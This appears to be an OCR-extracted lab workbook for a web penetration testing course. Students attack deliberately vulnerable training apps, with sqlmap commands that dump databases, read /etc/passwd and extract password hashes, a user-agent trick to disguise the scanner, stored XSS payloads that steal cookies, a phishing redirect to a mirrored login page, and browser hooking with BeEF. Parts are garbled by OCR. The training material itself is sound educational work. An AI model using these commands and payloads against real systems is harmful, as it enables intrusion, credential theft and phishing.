[&] Default Context User-Agent: Mozillas5.0 (X11:; Ubuntu; Linux x86 64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image /webp, */*;q=0.8
& Sites . Accept-Language: en-US,en;q=0.5
https:/fimg-getpocket.cdn.m¢ |~ Connection: keep-alive .
W Fip gl Referer: https://dvwa.sec542.org/Lndex.php
&P httpsi/igetpocket.cdn.mozi | cookie; phpbb3 grk7n_u=48; phpbb3 grk7n_k=; phpbb3 grk7n_sid=
g FU https://spocs.getpocket.cc | 473dd407e0dflchObcSesfcadSc9ch52; PHPSESSID=2t0fdlutév3viuBrikcdpfafld: security=low
: = .- ; Upgrade-Insecure-Requests: 1
L. [ https:/ffirefox. settings.sen Hosts ‘dvwa, 5ec542,org
Sl http Hdetectpor‘tal firefom.c

B History S Search  [Malerts | output

® @ 7 Filter; OFF ¢ Export

[ Id Sou.. Req. T|mestamp Met... URL Co... Reason R... Size Resp. ... Highest... M... Tags =
13 =¥ ... S100L1, 40U, (=l=4) NILLP S UNWGE, 520D 9L, UN Qruvwg) | s/du..  £UU UR L., 2Y3F DyLES i~ LOW
14 &= .., 4/16/21, 4:40:.. GET https://dvwa.sec542.org/dvwaljs/dv... 200 OK 1... 1,030 bytes F Low Comment
7 . 4f16/21, 4:40 G £ i c542;orgivulnerabili., 1... 4,207 bytes ™ Medium Form, Script
20 = .. 140:.., GET httgsmg_\f_u\“r_a_feisila org//dvwaljs/a. ____200 oK 2... 593 bytes U Low
CAlerts RiQ B2 B 6‘ Rl Pr|mary Proxy: localhost: 8081 Current Scans Fo ®0 20 @0 #o 40 Wo|
2. |n the Request tab on the right, highlight the Cookie value (from PHPSESSID .. through securi ty=1low).
GET https://dvwa.sec542.org/vulnerabilities/sqli/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/webp,*/¥;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Referer: https://dvwa.sec542.org/index.php
Cookie: phpbb3_grk7n_u=48; phpbb3_grk7n_k=; phpbb3 grk7n_sid=
473dd407e0df1lch9bcSe6fcadScOch52; PHPSESSID=2t0fdlut6v3viugr7kcdpf3fld; security=low
Upgrade-Insecure-Requests: 1
Host: dvwa.sec542.org
3. Right-click on the highlighted data and select Copy.

Note

The PHPSESSID you see will be different from the one in the previous image.

4. Let's use those yummy cookies...

5. You will use the previously copied cookie to allow sqlmap to test the authenticated SQLi vulnerability located here: http:/dvwa.sec542.org/vulnerabilities/sqli/?
id=1&Submit=Submit.

6. Open a terminal.

Warning

For the next command, be sure to supply your previously copied cookie value in place of the PASTE COPIED DATA HERE .
Include everything from PHPSESSID through security=Tlow .
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7. In the terminal, type the following command, which is all one single line:
sqlmap -u "https://dvwa.sec542.org/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PASTE
COPIED DATA HERE" --proxy http://localhost:8081 --batch

Warning

Quotes around the URL are required in this case due to the & character.

Note

The PHPSESSID you use will be different from the one in the following image:

02 _ _ _ _ Terminal - student@Security542: ~ - & X
File Edit View Terminal Tabs Help’

[~]1% sglmap -u "https://dvwa.sec542.org/vulnerabilities/sqli/?id=1&5[~]% sglmap -u "
https://dvwa.sec542.org/vulnerabilities/sqli/?id=1&5ubmit=Submit" --cookie="PHPSESSI
D=2t0fdlutév3viu8rikcd4pf3fld; security=low" --proxy http://localhost:8081 --batch

I 1.5.2#pip

[!'] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual conH
sent is illegal. It is the end user's responsibility to obey all applicable local, sl
tate and federal laws. Developers assume no liability and are not responsible for an

y misuse or damage caused by this program

[*] starting @ 17:35:54 /2021-04-16/

8. Review the output to find the answer to the next question.

+ What injection types does sqlmap find are available to attack the vulnerable id parameter?
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Solution

1. What methods does sqlmap find are available to attack the vulnerable id parameter?

2 In the results of our previous command, sqimap lists four types of injections available against the vulnerable id parameter.
3. The four types are:

+ boolean-based blind

« error-based

+ time-based blind

+ UNION query

sqlmap identified the following injection point(s) with a total of 144 HTTP(s) r
equests:
Parameter; did (GET)
Type:lboolean-based blindl
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=1' OR NOT 4356=4356#&Submit=Submit

Title: MySUL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl

ause (FLOOR)

Payload: id=1' AND (SELECT 8677 FROM(SELECT COUNT(*),CONCAT(0Ox71626a6a7l, (SE
LECT (ELT(8677=8677,1))),0x716b6b7171,FLOOR(RAND(Q)*2))x FROM INFORMATION SCHEMA
.PLUGINS GROUP BY x)a)-- swlM&Submit=Submit

Type:ltime-based blindl

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1"' AND (SELECT 1607 FROM (SELECT(SLEEP(5)))WlcL)-- UiGv&Submit=S
ubmit

Type:IUNIOU auerzl
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT CONCAT(0x71626a6671,0x53746169584c534352616eH

4654785467566a6a676c4d716d77536b6b786c4845755166654744614e,0x716b6b7171) , NULL#&S
ubmit=Submit

Note

The order in which these types appear can vary.

+ Determine sqlmap 's default user agent and customize it to use 42 for the UA.
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Solution

1. Now, let's check out the default sq'Lmap user agent, and then customize it.

2. Double-click any sqlmap HTTP request found in ZAP's History.

3. On the Request tab, find the default user agent:

47 Quick Start =» Request &= Response +

Header: Text v || Body: Text v| | [E] @

GET

https://dvwa.sec542.0rg/vulnerabilities/sqli/?1d=1%27%20UNION%20ALL%20SELECT%20CONCATS280x 7170716271%2C0x 63766b4875644d5048626¢ 484 7766547779436b50666d7544624275695850546a4¢e5|
1654e616575%2C0x 716b767a71%29%2CNULL%20FROMS20% 28SEL ECT%200%20AS%20Fs Up%20UNT ON%s 20SEL ECT%201%20UNI ON% 20SEL ECT%202%20UNI ON% 20SEL ECT%203% 20UNT ON% 20SEL ECT%204% 20UNI ON% 20SELECT2|
05%20UNIONs20SELECT%206%20UNI ONS20SEL ECT$207%20UNI ONS20SEL ECT%208%20UNI ONS20SEL ECT$209%20UNI ON% 20SEL ECT%201 0%20UNI ON%20SEL ECT%201 1%20UNI ONS20SELECT$201 2%20UNI ON% 20SEL ECT%201 3|
%20UNION%20SELECT$2014%29%20AS%20SHe0%23&Subnit=Submit HTTP/1.1

Connection: close

Accept: */*

User-Agent: kqlmap/1.6.6.4#dev (https://sqlmap.org)

Host: dvwa.sec542.org

Cookie: PHPSESSID=glulvqtg3vjhkSSidue90lrpl2; security=low

Cache-Control: no-cache

4 We can see above that the default user agent at lab creation was sqlmap/1.6.6.4#dev (http://sqlmap.org) .

5. Back in the terminal, we will execute sqlmap to use a custom user agent of 42 so as to not make immediately obvious we are running sq'lmap 8

Hint

The up arrow will save you a lot of typing because we will just tweak previous commands for much of this exercise.

sqlmap -u "https://dvwa.sec542.0org/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="COOKIE
VALUE" --proxy http://localhost:8081 --batch --user-agent 42

Note

The above is a single command on one line.

6. Back in ZAP, check ZAP's History to confirm that the UA changed successfully.

IUser-Agent ;42 I

+ Without viewing the data, how many records are found in the sensitive Customers table of the sqli database?
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Solution

1. First, generate a list of database names. The --dbs flag enumerates DBMS databases.

2. Execute the following command:

sqlmap -u "https://dvwa.sec542.0org/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="COOKIE

VALUE" --proxy http://localhost:8081 --batch --user-agent 42 --dbs
3. You should see output like the following:

[16:50:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.6

[16:50:22] [INFO] fetching database names
[16:50:22] [WARNING] reflective value(s) found and filtering out
available databases [17]:

[*] bWAPP

[*] drupal

[*] drupal?

[*#] dvwa

[*] information schema

[*] mutillidae

[*] my wiki

[*] mysql

[*] nowasp

[*] performance schema

[*] phpbb3

[*] sqli

[*] sys

[*] topsecret

[#] webcalendar

[*] wordpress

[*] wordpress471

4 A number of databases are available. We'll look at the my_w-i ki database passwords shortly, but will focus on the sq'I.'i database now.

5. Now that we know the sq'L'i database exists, let's list the tables. The —D flag selects the database and the --tables flag enumerates the database tables.

o

Remove —=dbsS from the previous command and replace itwith =D sqli —-tables .

sqlmap -u "https://dvwa.sec542.org/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="COOKIE
VALUE" --proxy http://localhost:8081 --batch --user-agent 42 -D sqli --tables

~

There are three tables:
' Customers
* OrderTracking

' Users

he Terminal - student@Security542: ~ T
File E'&it Wiew Tet'm’?nal. Tabs Help

[17:06G:12] [INFO] fetching tables for database: '=« &

[17:00:12] [WARNING] reflective value(s) found and filtering out
Database: sgli

[3 tables]

R +
| Customers |
| OrderTracking |
| Users |
e +

U

fecl

even to yourself.

9. One way around this issue is to perform an action indicating that you could have exfiltrated the data. Counting the rows in a table can work well for this.

10 15 that end, count the number of entries in the Customers table of the sq'L'i database.
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11.Remove ——tables from the command line and replaceitwith =T Customers —--count .

12. Execute the following command:

sqlmap -u "https://dvwa.sec542.0org/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="COOKIE
VALUE" --proxy http://localhost:8081 --batch --user-agent 42 -D sqli -T Customers —--count

13. As shown in the following screenshot, we count 56 entries in the sqli.Customers table.

-

Database: sqli
R et TR

| Table | Entries |

R +--------- -+
| Customers | |
$rmmornmn——- mm +

+Use sqlmap to determine the uid for the zbeeblebrox account on the system.
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Solution

T The goal of this task is to determine the uid associated with the zbeeblebrox account on the victim system. This information would be contained in /etc/passwd , so we will
steal that file.

2. Execute the following command at the terminal prompt:
sqlmap -u "https://dvwa.sec542.org/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="COOKIE
VALUE" --proxy http://localhost:8081 --batch --user-agent 42 --file-read /etc/passwd

Note

Rather than displaying the information, sqlmap writes the file locally here:
/home/student/snap/sqlmap/23/.local/share/sqlmap/output/dvwa.sec542.0org/files/_etc_passwd .

> : : Terminal - student@sec542; ~ -
File Edit Wiew Term’?rlal_ Tabs Help

files saved to [1]:

[*] /home/student/.sqlmap/output/dvwa.sec542.org/files/ etc passwd (same Tile)

[17:35:12] [INFO] fetched data logged to text files under '/home/student/.sglmap/output/ IH

3. Let's grep forthe target entry by running the following command:

grep zbeeblebrox /home/student/.sqlmap/output/dvwa.sec542.0rg/files/_etc_passwd

- Terminal
File Edit View Terminal Tabs Help

[~1%$lgrep zbeeblebrox /home/student/.sqlmap/output/dvwa/files/ etc passwd
zbeeblebrox:x:1003 -¢03 :Zaphod Beeblebrox,,,:/home/zbeeblebrox:/bin/bash

[~1$ B

4 Wefindauidof 1003 for zbeeblebrox.

» Dump database users and password hashes.
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Solution

1. Dump the DB users and passwords by appending =——US€rs ——passwo rds tothebase sqlmap command we have been using. Execute the following at a terminal
prompt:

sqlmap -u "http://dvwa.sec542.org/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="COOKIE
VALUE" --proxy http://localhost:8081 --batch --user-agent 42 --users --passwords

~Press Ctr1-C to quit the password cracking that automatically starts with our running in batch mode.

3. Below, we see the database users on the system:

- Terminal - student@secs542:~ L O |
File  Edit View Terminal Tabs Help

database management system users [6]:
[*] 'debial - maint'@’ 1 i
[*] LIS c accrhe .l@l i ast"*

=3 L ession'@'localhost’

[*} "mysql.sys'@’ host' 3
L*] ' o .|@| e |

4. We also see their password hashes, just waiting for cracking.

he Terminal - student@sec542: ~ i SO
Fle Edit View Terminal Tabs Help:
database management system users password hashes:
[*] debian-sys-maint [1]:

password hash: $A3$005%)7\x1d[\x07{\r?\x162Nk|gRWC\x02\x13\x04LIU2KOFKUWKFhE.®6im3C9d4.hWi5hi/55K0. glZIkA
[*] mysqgl.infoschema [1]:

password hash: $A3005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] mysgl.session [1]:

password hash: $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*]1 mysgl.sys [1]:

password hash: $A3005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] root [1]:

password hash: $A3005%,\x0f\x12}."*Zwo\xB7Yg\x0cO \n\x1c\x16bfIHO310rK7Hc155BdTitCH5mFji55zU/1wB/ycmLB8dD
[*] slartibartfast [1]:

password hash: *75C522D6C47438F3B099FC83AAGDDBADF4BB4DES

[17:25:16] [INFO] fetched data logged to text files under '/ | i | i t/ £ rg'
[*] ending @ 17:25:16 /2022-06-21/

~1s Il U

* What is the name of the column that contains password hashes for the my_wiki database?
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Solution

1- Widen the terminal (the next command will retrieve a lot of data). Remove the ——US€rsS and ——passwords options fromthe sqlmap command.
2 Next, specify the database to query with —D my_W'i ki anduse sq'lmap 's search functionality to look for the word PasS$ using ——sea rch -C pass .

sqlmap -u "https://dvwa.sec542.0org/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="COOKIE-
STRING" --proxy http://localhost:8081 -D my_wiki --search -C pass --batch

E Terminal - student@Security542: ~ - + X
File Edit View Terminal Tabs Help

Database: my_ wiki
Table: user
[2 entries]

| base64:type253:bG KI6ZTgwZWUONj c6M! jg Qy mMOYJEINGY= | base! ype253:bGlkaGl10k qw. WU@NJCGMWION]glN
zU2Yzc4ZGEwMD1iZGQyYTM4YmMOYFEINGY= | base64:type253: bleaGllOkIGZTngWUGN]CSMWIGNJglNzU2YZC4ZGEwMDllZGQyYTM4YmMOY]ElNGY— |

| base64:type253:bGlkaGLl10kI60DZmZTESZDI60GFhYZEYYjMx0TJjZWMOMGY4M2FiZmFhMWNmMZTMZMmE= | base64:type253:bGlkaGl10kI60DZmZTESZDI60GFhYZEYY
JMxOTJ]ZWM@MGY4M2F12 FhMWNmZTMzMmE= | base64:type253:bGlkaGl10kI60DZ ZTESZDIGOGFhYZEyY]MxOTJ ZWMOMGY4M2FiZmFhMWNMZTMZMmE=

[17:24:05] [INFO] table 'my wiki " dumped to CSV file '
[17:24:05] [INFO] fetched data logged to text files under ' tudent 1 local 1 tput

[*] ending @ 17:24:05 /2021-04-16/

[~1s Il H

3- The column that contains the password hashes for the my_W'i ki database is user_passwo rd .

1. Be sure to disable the proxy setting in Firefox so that it does not interfere with future labs.

2. Go to the Firefox proxy selector drop-down and choose [Direct].

n o

o ]

O [system Proxy]

@ Burp Community
Burp Pro

@ Zap

Y localhost

/& Options
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Exercise 4.1 - HTML Injection

Objectives

+ Explore HTML injection flaws

+ Work with stored XSS flaws

+ Cause various impacts through HTML injection and XSS exploitation
« Inject attacker-chosen images into the browser session

+ Inject content to redirect a browser

Lab Setup

1. Open Firefox and surf to: https://www.sec542.org/mutillidae/index.php?page=add-to-your-blog.php.

2. You may clear the database at any time by choosing Reset DB. This cleanly restarts the exercise, which is useful for clearing out
old attempts.

o OWASP Mutillidae 1I: Keep Calm an

Version: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) L
Home | Logout | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log |

OWASP 2017 ‘

OWASP 2013 3
TIP:
OWASP 2010 »
OWASP 2007 »
Web Services 3
HTML 5 3

Ul

Hints and Videos \

What Should | Do? e Help Me!

Challenges

Target: https://www.sec542.org/mutillidae/index.php?page=add-to-your-blog.php

Notes

* The View Log button is next to Reset DB.

* You may use this (large) image for HTML image injection: https://sec542.org/earth.jpg.

* For redirect the entire page to another, you may use an offline copy of the SANS portal that we mirrored here: https://
sec542.org/www.sans.org/account/.
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Perform the following command injections on the blog:

+ Perform HTML H1 tag injection.

Solution

1. Enter the following in the blog:

<H1>Sec542!</H1>

2. Then click Save Blog Entry and scroll down to see our HUGE text!!!

2 Current Blog Entries

Date

Comment

1 |anonymous

2019-06-12 16:55:59

Sec542!

2 |anonymous

2008-03-01 22:27:11

An anonymous blog? Huh?

So, What?

1. Injecting a set of H1 tags isn’t exactly 31337 haxoring, right?
2. The point is the website is not stripping out our HTML tags.
- It is specifically not removing the "<" and ">" characters

3. This means we are on the road to pwnage.

« FYI: The road to pwnage is called "Pwn Road" by locals.

+ Perform HTML image injection.

252

4. If we can successfully inject tags such as <H1>, there's an excellent chance that we can inject other, more interesting, tags and content.
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Solution

1. Let's ramp things up a bit and see if we can inject an image into the blog.

2. We'll use a large image for maximum effect:
« In this case, we use the Blue Marble, one of the most famous photos of all time...because astronaut photographers rock

+ We have stashed a copy of the Blue Marble for you in /var/www/html/earth.jpg. It is accessible via https:/sec542.org/earth.jpg.
3. Scroll up to Add Blog Entry and type the following:

<img src="https://sec542.org/earth.jpg">

4. Then, click Save Blog Entry and scroll down.

[rTrm—r—

5. This is the Blue Marble, taken by the Apollo 17 crew on December 7, 1972. Apollo 17 was the last human lunar mission.

6. This image has the original orientation. (The South Pole is at the top.) If you find this confusing, you are not an astronaut, because there is no up in space.

7-1f youd like to ramp things up, copy <img src="https://sec542.org/earth.jpg"> andpasteitintothe blog a dozen times or so, and save the blog.
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[

Add blog for anonymous

J

[Nute: <b>,<i> and <u> are now allowed in blog entries]

<img
<img
<img
<img
<img
<img
<img
<1lmg

src="https:
src="https:
src="https:
src="https:
src="https:
src="https:
src="https:

src="https

J/sech42.
J/sech42.
Jf/sec542.
//sec542,
J//sec542,
J/sec542.
J/sec542.
://secbh42.

org/earth
org/earth
org/earth
org/earth
org/earth
org/earth
org/earth
org/earth

-1pg"=
.igg">
mJEE"b
-1pQ">
.3p2">
.ipg">
.M“IP
.1pa"=

[ Save Blog Entry ]

« iframe inject the blog into the blog.
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Solution

1. Let's inject the blog into the blog!

+ Because, much like astronauts, recursion rocks

2. Click Reset DB, go to Firefox's address bar, and highlight this portion of the URL:

www . sec542,.org/mutillidae/index.php?page=add-to-your-blog.php

sec542.org/mutillidae/index.php?page=add-to-your-blog.ph

Note

Please copy carefully, and omit anything after blog.php in the blog URL.

3 Then press Ctr1-C (copy).

4. Type the following blog entry: <iframe src="https://

* Then paste the URL

" Then type: ">

5. It should look like this:

<iframe src="https://www.sec542.org/mutillidae/index.php?page=add-to-your-blog.php">

Note

Ensure it is one continuous line, with no breaks.

6. Then, click Save Blog Entry.

7. The blog is now injected into the blog.

>

“\ View Blogs

2 Current Blog Entries

Date

Comment

1 |anonymous

2021-04-20 18:21:48

Version: 2.8.24

@ OWASP MU

Security

Cn)

8. As Stephen Wright said, “I have an inferiority complex, but it's not a very good one.”

« Redirect the entire page to another.
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Solution

1. Let's redirect the entire blog page to another.
2. We will then helpfully ask the user to log back in to their SANS account.

3. Click Reset DB and enter the following in the blog:

<script>window.location="https://sec542.org/www.sans.org/account/"</script>

4. Then save the blog entry. The page may redirect immediately; if not, click Back.

5. We previously mirrored the SANS website with wget:

Note

This has already been done for you; we are showing you the steps so that you will know how to do the same thing in the
future.

cd /var/www/html
wget -e robots=off -r -k -12 https://www.sans.org/account/login

6. The —e robots=off option tells wget to ignore robots.txt andmirror everything. The —r flag means recursive; -k tells wget to convert remote links to

local;and =12 tells wget to recurse two levels deep.

SANS Institute o ‘ -

« > C @ l‘i’ﬂ ttps://sec542.0rg/www.sans.org/account/ 120% - PN no O ©® & I

£+ Most Visited Form Authentication

Find Training Live Training  Online Training Programs Resources Vendor About

Use Existing Account Create New Account
Email Address Email Address
Password Password
O Keep me logged in for seven days Confirm Password

Forgot your password?
Create Account

. We have logged you out for security purposes, so please log in. We take security seriously!

~

Note

We have not mirrored the actual Login functionality; this redirection is meant as a proof-of-concept.
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Perform the following stored XSS exploits on the blog and also View Log:

+ Pop up a string.

Solution

1. Click Reset DB and type the following blog entry:
<script>alert("Sec542!")</script>

2. Then, click Save Blog Entry.
3. The pop-up should appear.

Sec542!

+ Pop up the cookie.

Solution
1. Click Reset DB and type the following blog entry:

<script>alert(document.cookie)</script>

2. Then click Save Blog Entry.

3- The cookie pops up (note that your PHPSESSID will be different).

PHPSESSID=1fk0128rkmhirgp7ljqi9pim2; showhints=0

+ Lay a persistent admin XSS trap.
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Solution

1. A particularly devious form of stored XSS is persistent admin XSS exploits. The attacker places JavaScript in an unexpected location, such as a page name. The attacker lays a trap,

waiting for the dutiful administrator to check the logs.
2. Here is a typical vector for this attack—-Mutillidae's View Log page:

« Show the Hostname, IP, Browser Agent, Page Viewed, and Data/Time

(¢)> ¢ @ (0] & s

£+ Most Visited Sec542 Wiki Untrusted - a user ja... Untrusted Solutions

sec542.org/mutillidae/index.phpzpage=show-log.php @ {7]

N @

®% OWASP Mutillidae II: Keep Calm and Pwn On

.24 Security Level: 0 (Hosed) Hints: Enabled (1 - T easie Not Logged In
/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

[ Log

% Back e Help Me!

OWASP 2007 »

OWASP 2010  »
< Hints and Videos
Web Services b

@ 83 log records found é Refresh Logs @ Delete Logs
“ Hostname 1P Browser Agent Message Date/Time
N Mozilla/5.0 (X11; Ubuntu; Linux
De -04-
10.42.42.42|10.42.42.42|x86_64; rv:86.0) Gecko/20100101 Blog entry added by: anonymous 20_21 _04 20
) 18:21:48
Mozilla/5.0 (X11; Ubuntu; Linux 2021-04-20
Do 10.42.42.42|10.42.42.42|x86_64; rv:86.0) Gecko/20100101 Selected blog entries for anonymous 1.
nate N 18:21:48
Firefox/86.0
Want to Help? - -
Mozilla/5.0 (X11; Ubuntu; Linux 2021-04-20
10.42.42.42|10.42.42.42|x86_64; rv:86.0) Gecko/20100101 User visited: add-to-your-blog.php 18:21:48
[ > ] Firefox/86.0 2L
Video Tutorials Mozilla/5.0 (X11; Ubuntu; Linux 2021-04-20
10.42.42.42|10.42.42.42|x86_64; rv:86.0) Gecko/20100101 Selected blog entries for anonymous i
(7% Firefox/86.0 18:21:48

3. Let's leave a present for the administrator.

4. Click View Log.

View Log

5. Our goal: Hack the Page Viewed field in Mutillidae's View Log page, and lay a trap for an administrator who later views the log.
6. We have been using this URL:

« https://www.sec542.org/mutillidae/index.php?page=add-to-your-blog.php

7- Let's hack the page option. Go to Firefox's address bar, and highlight this portion of the URL:

https://www.sec542.org/mutillidae/index.php?page=

8. When highlighting, leave out anything after page= .

9- Then, press Ctr1=C (copy).

10. Paste the partial URL into Firefox's address bar.
https://www.sec542.org/mutillidae/index.php?page=

. Then, type the following immediately after the = sign:

<script>alert("Sec542!")</script>

12. The entire URL will now be:

258 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja

Technet24


https://technet24.ir
https://technet24.ir

"<script>alert("Sec542!")</script>".

https://www.sec542.org/mutillidae/index.php?page=<script>alert("Sec542!")</script>

13. Then press Enter . You may see an immediate reflected pop-up; if so, click OK. You will then see an error, which is fine, and correct. There is no page called

[

Page Not Found

Back

" class="colorbox" title="Help me with page " style="color: #000000;"> 9 Help Me!

\

15. Boom!

14. View the log by clicking View Log.

View Log

Sec542!

16. We have sprung our trap. This portion of the exercise generated both a reflected and stored XSS - the stored portion is more interesting.

For bonus points, pop up the cookie.
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Solution
1. Repeat the "Lay a persistent admin XSS trap” steps, but replace S@c542! with document.cookiie .

https://www.sec542.org/mutillidae/index.php?page=<script>alert(document.cookie)</script>

2. Click View Log.

View Log

3. Here is the result:

showhints=1; PHPSESSID=g300chveacpklfifs8kvetd85r

Special Thanks

Jeremy Druin (@webpwnized) maintains and constantly improves upon Mutillidae.

Mutillidae is available at https://github.com/webpwnized/mutillidae
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Exercise 4.2 - BeEF

Objectives

+ Become familiar with BeEF and its zombie-controlling awesomeness

+ Explore various XSS payloads to cause a variety of impacts

Lab Setup

BeEF

1. Open a terminal and start the BeEF Server:

cd /opt/beef
. /beef

2. Open Firefox and surf to: http://127.0.0.1:3000/ui/authentication.

3. Login:
* Username: beef

+ Password: Security542

—eEF

Authentication
Username: beef
Password: -

Login

4. Click Allow if Firefox says, "Firefox has prevented the outdated plugin ‘Adobe Flash' from running..." Then click Allow and Remember.

Hook Chromium

1. Open the Chromium browser.
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2. Click the OMG Cute Bunny bookmark.

J https://sec542.org/bunny.html xl +
& 5 C @ https://sec542.0org/bunny.html a « 00O

* Apps JI§ OMG Cute BunnyW

JOMG look at the cute bunny!

3. Awwww... what a cute bunny! Pay no attention to the JavaScript running in your browser. It's a cute bunny!

4. Chromium should now be hooked. Switch back to Firefox. To be clear, we are controlling BeEF via Firefox and hooking Chromium.

Note

Try to avoid hooking Firefox in addtion to Chromium. Although it is harmless to also hook Firefox, but this can lead to confusion
on which commands are running in which browser.
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5 bunny.html isa minimal custom web page we built to illustrate the ease of hooking a browser in BeEF. Press Ctr1-U to see
the bunny.html source code in Chromium. Not much there!

6. BeEF's built-in proof-of-concept page is The Butcher (available in the bookmark to the right of OMG Cute Bunny). It performs the
same function but has a lot more code.

Note

hook.js is dynamically created by BeEF: That file does not exist locally on the filesystem. You can view the contents of
hook.js by downloading it via another terminal session (Note that BeEF must be running):

wget http://127.0.0.1:3000/hook.js

View Hooked Browser Details

1. Go back to Firefox and view the newly hooked Chromium browser by clicking on Online Browsers -> sec542.org -> 127.0.0.1.
Hooked Browsers
4 . Online Browsers
4 —jsec542.0rg

e ) E 7127001

] Offline Browsers

2. Here's a close-up of the browser details (shown under Current Browser -> Details -> browser.name.reported):

Geting Started 11 Logs Zombies Current Browser
Details [ Logs [ Commands | Proxy { XssRays Metaork
Key = Value
browser.name. reported Mozilla/5.0 {X11; Linux xB86_B64} AppleWebKit537 .36 (KHTML, like Gecko)
Chrome/89.0.4389.82 Safar/537 .36
browser platform Linux xB86_B&4
browser.plugins Chromium PDF Plugin,Chromium PDF Viewer
browser window.cookies BEEFHOOK=ANgipMRcNVxADUgyz5qFs2nUINpYuxdJFDiUoONY G1k2TNG .
browserwindow. hostname sech42.org
browser window-hostport 443
browserwindow.origin https://sech42 org
Note

Chromium lists the following browser/technologies (beyond "Chrome" and "Chromium"): Mozilla, AppleWebKit, and Safari.

3. Why does Chromium list other browsers and browser technologies in its user-agent? The reason is compatibility:

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja 263


https://technet24.ir

Quote

And then Google built Chrome, and Chrome used Webkit, and it was like Safari, and wanted pages built for Safari, and so
pretended to be Safari. And thus Chrome used WebKit, and pretended to be Safari, and WebKit pretended to be KHTML, and
KHTML pretended to be Gecko, and all browsers pretended to be Mozilla, and Chrome called itself Mozilla/5.0 (Windows; U;
Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13, and the user agent string
was a complete mess, and near useless, and everyone pretended to be everyone else, and confusion abounded.[1]

Widen That Browser
1. Be sure your Firefox browser is maximized wide enough to show four columns. You may narrow some of the columns to make this
happen.

2. Click the BeEF Commands tab and drill down and select any command. You must have the fourth column shown on this slide to
support required command inputs, "Execute” functionality, and so on.

Hooked Browsers

Getting Started Logs Zombies Current Browser
4 ] Online Browsers
4 5 sec542.0rg Details Logs Commands Proxy XssRays Network
& A @ ? 127001 Module Tree Module Results History Create Alert Dialog
) Offline Browsers - .
Search id « date label Description:  Sends an alert dialog to the hooked browser.
5 The results from exe
—J Browser (56) "‘”‘.' rorn mmar \d: 253
4 = Hooked Domain (26) modiies Wil ba liste
Get Cookie Alert text: BeEF Alert Dialog

. Get Form Values

_ Get Page HREFs
Get Page HTML
Get Page and iframe HTML

. Overflow Cookie Jar
Remove stuck iframe
Replace HREFs
Replace HREFs (Click Even
Replace HREFs (HTTPS)
Replace HREFs (TEL)

@ Clear Console

( Create Alert Dialog

@ Create Prompt Dialog

Note

Make sure you can see the fourth column, which is critical for issuing zombie commands.

Hooked Browser Commands

1. Explore the available commands.
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4 =] Browser (57)
I+ [_ ] Hooked Domain (27)

Detect Evernote Web Clipper
Detect Foxit Reader
Detect LasiPass
Detect MIME Types
Detect QuickTime
Detect RealPlayer
Detect Silverlight
Cretect Tooltbars
Detect Unity Web Player
Detect VLC
Detect Windows Media Playver
Fingerprint Browser
Play Sound
Remowve Hook Element
Unhook
Webcam
Webcam Permission Check
Get Visited URLs (Avant Browser)
Spyder Eye

o Detect Popup Blocker

o Webcam HTMLS

@ Detect ActiveX

@ Detect Extensions

2. From the Getting Started tab, each command module has a traffic light icon, which is used to indicate the following:
+ Green: The command module works against the target and should be invisible to the user.
+ Orange: The command module works against the target but may be visible to the user.
+ White: The command module is yet to be verified against this target.

* Red: The command module does not work against this target.

Each command module has a traffic light icon, which is used to indicate the following:
The command module works against the target and should be invisible to the user

W The command module works against the target, but may be visible to the user
The command medule is yet to be verified against this target

@ The command module does not work against this target
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Challenges

Note

Directing the browser away from the page executing BeEF's hook.js will cause the browser to be unhooked and show up as offline.
Click the OMG Cute Bunny bookmark to rehook the browser.

Note

It may take 5 to 8 seconds or so for the commands to execute in Chromium.

Perform the following actions on the hooked Chromium browser:

* Trigger an alert dialog.
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Solution

1. Go to Firefox: Commands -> Browser -> Hooked Domain -> Create Alert Dialog
2. Enter a witty message in the Alert Text box and click Execute.

3. Widen Firefox if you can't see the Alert Text box.

Description:.  Sends an alert dialog to the hooked browser.
Id: 253

Alert text: Don't Panic

4. Switch to Chromium to see your handiwork.
5. Sometimes, the command takes a little while to pop.

6. You must click OK for the next command to work.

|+

2.org/bunny.html

sec542.org says

Don't Panic

Note

Be sure to always complete the previous command before moving to the next. It's not unusual for impatient testers to have a
half-dozen pop-ups queued up, which then pop one right after the other (after a short initial delay).

+ Show prompt dialog
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Solution

1. In Firefox: Commands -> Browser -> Hooked Domain -> Create Prompt Dialog
2. Enter a witty question in the Prompt Text box and click Execute.

3. In Chromium, enter an answer and click OK.

4. Back in Firefox, go to Module Results History and double-click the command to see what the user entered.

